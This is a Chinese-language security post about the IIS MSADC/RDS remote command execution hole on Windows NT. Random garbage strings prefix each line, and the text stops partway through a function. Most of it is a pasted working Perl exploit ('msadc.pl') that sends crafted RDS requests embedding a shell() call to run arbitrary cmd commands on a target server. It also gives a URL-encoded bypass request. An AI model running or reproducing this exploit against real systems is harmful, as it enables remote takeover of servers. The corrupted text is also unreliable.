IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
1V;,ZGI* 7QHrb'c 涉及程序:
o.])5i_HV Microsoft NT server
2Y%E.){ J pKCux 描述:
.>@]Im 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
D>K=D" i 8:^1rHp) 详细:
A<{&?_U 如果你没有时间读详细内容的话,就删除:
p~dj-w c:\Program Files\Common Files\System\Msadc\msadcs.dll
X,`e1nsR 有关的安全问题就没有了。
)<_:%oB wg|/-q- 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
WR}<^ax E*8).'S%k 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
4?l:.\fB: 关于利用ODBC远程漏洞的描述,请参看:
XvkFP'%i/ c)zwyBz http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Z)G@ahOQ `,)%<} 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
M$2lK^2L http://www.microsoft.com/security/bulletins/MS99-025faq.asp @T~~aQFk r8Z}
mvLM 这里不再论述。
'Jl73#3 Kj*$'(' 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
YT)@&HaF lVS.XQ2< /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
'E %+ O 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
%SwhNn DTCOhUIV m]/sR3yF #将下面这段保存为txt文件,然后: "perl -x 文件名"
M(<.f}yZQ n4/Jx* #!perl
hmJa1fw= #
_yc&'Wq # MSADC/RDS 'usage' (aka exploit) script
?9;r|G #
g UA_&_ # by rain.forest.puppy
[u7i)fn5? #
AI2@VvB # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Kl w9 # beta test and find errors!
P
yN{ zE]h]$oi use Socket; use Getopt::Std;
=Y-mc#{8 getopts("e:vd:h:XR", \%args);
b!z kQ?h >e QFY^d5 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
O8 5) ^ Y$ '6p."= if (!defined $args{h} && !defined $args{R}) {
X!f` !tZ:{ print qq~
9oxn-)6JC Usage: msadc.pl -h <host> { -d <delay> -X -v }
$'Qv
{ -h <host> = host you want to scan (ip or domain)
<>fT_ -d <seconds> = delay between calls, default 1 second
i>z {QE -X = dump Index Server path table, if available
3Hkb)Wu -v = verbose
_rvO#h -e = external dictionary file for step 5
kTm>`.kKJ= tQcn%CK Or a -R will resume a command session
3/4r\%1b+ <6!/B[!O= ~; exit;}
X5c)T}pyv 6|]e}I@<2 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
WXCZ
}l if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
| gP%8nh'C if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Oi\,clR^[o if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
G*rlU $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
swG!O}29OX if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
2q%vd=T MLt'tzgl if (!defined $args{R}){ $ret = &has_msadc;
dR
>hb*kJ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
yIma7H@=L E>k!d'+tb print "Please type the NT commandline you want to run (cmd /c assumed):\n"
`*--vSi . "cmd /c ";
I.u[9CI7HU $in=<STDIN>; chomp $in;
NnqAr , $command="cmd /c " . $in ;
Ae>:i7.V x^/453Lk if (defined $args{R}) {&load; exit;}
?m dGMf) 5ii:93Hlj print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
'*n2<y &try_btcustmr;
)jed@? 3Jw}MFFV print "\nStep 2: Trying to make our own DSN...";
~a`
vk@8 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
eX <@qa4< $Ce;}sM print "\nStep 3: Trying known DSNs...";
|TCg`ZS`cZ &known_dsn;
jT1^oXn@ BHJS.o*j~ print "\nStep 4: Trying known .mdbs...";
uui3jZ: &known_mdb;
,w0Io lW3wmSWn% if (defined $args{e}){
_?a.S8LxJZ print "\nStep 5: Trying dictionary of DSN names...";
:x36Z4: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
eWTbHF Qs;MEt 1 print "Sorry Charley...maybe next time?\n";
QLOcgU^ exit;
Q'Vejz/ [.c'22R6 ##############################################################################
AMc`qh y~;w`5;| sub sendraw { # ripped and modded from whisker
8&UwnEk< sleep($delay); # it's a DoS on the server! At least on mine...
%2<u>=6byG my ($pstr)=@_;
SX@zDuM socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|oV_7%mlu die("Socket problems\n");
B%/N{i*Z if(connect(S,pack "SnA4x8",2,80,$target)){
)9z3T>QW select(S); $|=1;
.|<+-Rsj print $pstr; my @in=<S>;
_X]S`e1F select(STDOUT); close(S);
Vl%jpjqP return @in;
(v1~p3H } else { die("Can't connect...\n"); }}
oO][X AIw< 5lW ##############################################################################
%mMPALN]{ :V^|}C# sub make_header { # make the HTTP request
B),Z*lpC my $msadc=<<EOT
{x<yDDIv_ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
0:qR,NW^# User-Agent: ACTIVEDATA
Z$:iq Host: $ip
Wd]MwDcO Content-Length: $clen
*1CZRfWI Connection: Keep-Alive
vDcYz, JFh_3r' ADCClientVersion:01.06
zb& 3{, Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
|7%#z~rT <-F[q'!C1 --!ADM!ROX!YOUR!WORLD!
J:oAzBFpA Content-Type: application/x-varg
a474[? Content-Length: $reqlen
,'>O#kD
M*7:-Tb]C EOT
HAc1w]{( ; $msadc=~s/\n/\r\n/g;
q-TDg0 return $msadc;}
,BE4z2a %rq/jC ##############################################################################
%3mh'Z -[f d{*e0 sub make_req { # make the RDS request
)T!3du:M my ($switch, $p1, $p2)=@_;
l&oc/$&|[ my $req=""; my $t1, $t2, $query, $dsn;
POt8G 10W6wIqK if ($switch==1){ # this is the btcustmr.mdb query
C7xmk;c
w $query="Select * from Customers where City=" . make_shell();
OGAC[s~V $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
B8.uzX'p $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6uKS!\EY| k07pI<a? elsif ($switch==2){ # this is general make table query
<_~e/+_. $query="create table AZZ (B int, C varchar(10))";
F7 IZ;4cp $dsn="$p1";}
Q+a"Z^Z| [ %6(1$Ih elsif ($switch==3){ # this is general exploit table query
:FX|9h $query="select * from AZZ where C=" . make_shell();
O7lFg;9c` $dsn="$p1";}
a+PVi vz3#.a~2 elsif ($switch==4){ # attempt to hork file info from index server
?yy,3: $query="select path from scope()";
-SN6&-#c_ $dsn="Provider=MSIDXS;";}
"ot#g" QI*<MF,1 elsif ($switch==5){ # bad query
,WQg.neOA $query="select";
v]X*(e $dsn="$p1";}
K410.o/=- xvTz|Y $t1= make_unicode($query);
h"t\x}8qq $t2= make_unicode($dsn);
vk.P| Y-; $req = "\x02\x00\x03\x00";
VQl(5\6O $req.= "\x08\x00" . pack ("S1", length($t1));
h@%a+ 6b? $req.= "\x00\x00" . $t1 ;
I@q(P>]X9 $req.= "\x08\x00" . pack ("S1", length($t2));
LGT?/gup $req.= "\x00\x00" . $t2 ;
'ocPG.PaU $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
OmLe+,7' return $req;}
*:V+whBY Z,7VOf6g ##############################################################################
]oxi~TwY^ M*2
Nq=3 sub make_shell { # this makes the shell() statement
(Fs{~4T return "'|shell(\"$command\")|'";}
J+r:7NvZ %3@-.= ##############################################################################
tZan1C%p> <BjrW]pM sub make_unicode { # quick little function to convert to unicode
][`% vj9r my ($in)=@_; my $out;
E_T!|Q. for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
@^Yr=d ba return $out;}
a9y+FCA t$g@+1p4 ##############################################################################
3 @%XR8ss D-4{9[ sub rdo_success { # checks for RDO return success (this is kludge)
f[wxt n'r my (@in) = @_; my $base=content_start(@in);
6os{q`/Q]) if($in[$base]=~/multipart\/mixed/){
($'5xPb return 1 if( $in[$base+10]=~/^\x09\x00/ );}
]-cSTtO return 0;}
Kjt\A]R% +0g L!r ##############################################################################
tR(nD UHV5 ~Xz?H=}U+ sub make_dsn { # this makes a DSN for us
p((a(Q/ my @drives=("c","d","e","f");
-_ <z_IL\% print "\nMaking DSN: ";
qylI/,y{ foreach $drive (@drives) {
OxqkpK& print "$drive: ";
SVBo0wvz- my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
UX%J?;g "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Fs&r^ [/b . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
t ^~Qv $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
FaQc@4%o return 0 if $2 eq "404"; # not found/doesn't exist
uYC1}Y5N if($2 eq "200") {
_
o.j({S foreach $line (@results) {
L :Ldk return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
4d\V=_);r } return 0;}
`k`P;(: Y&-%
N ##############################################################################
]i\;#pj} (nAL;:$x2 sub verify_exists {
z]R%'LGu my ($page)=@_;
vwAtX($
my @results=sendraw("GET $page HTTP/1.0\n\n");
Q)=LbR{# return $results[0];}
8]Q#P _{/[&vJ ##############################################################################
Ug\$Ob5=q XIn,nCY; sub try_btcustmr {
%Ni"*\ my @drives=("c","d","e","f");
5GbC}y> my @dirs=("winnt","winnt35","winnt351","win","windows");
m UUNR, t~|J2*9l foreach $dir (@dirs) {
iFnD`l6) print "$dir -> "; # fun status so you can see progress
BhhFij4 foreach $drive (@drives) {
&%m%b5 print "$drive: "; # ditto
es<8"CcP $reqlen=length( make_req(1,$drive,$dir) ) - 28;
:l&Yq!5 $reqlenlen=length( "$reqlen" );
@Gt.J*!s/ $clen= 206 + $reqlenlen + $reqlen;
ps UT2 ih-J{1 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
jl5&T{z if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
)Z)Gb~G else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
LGK@taw^ _!,Ees=b ##############################################################################
L~AU4Q0o "SRS{-p0 sub odbc_error {
aK/fZ$Qc my (@in)=@_; my $base;
9{
#5~WP my $base = content_start(@in);
N&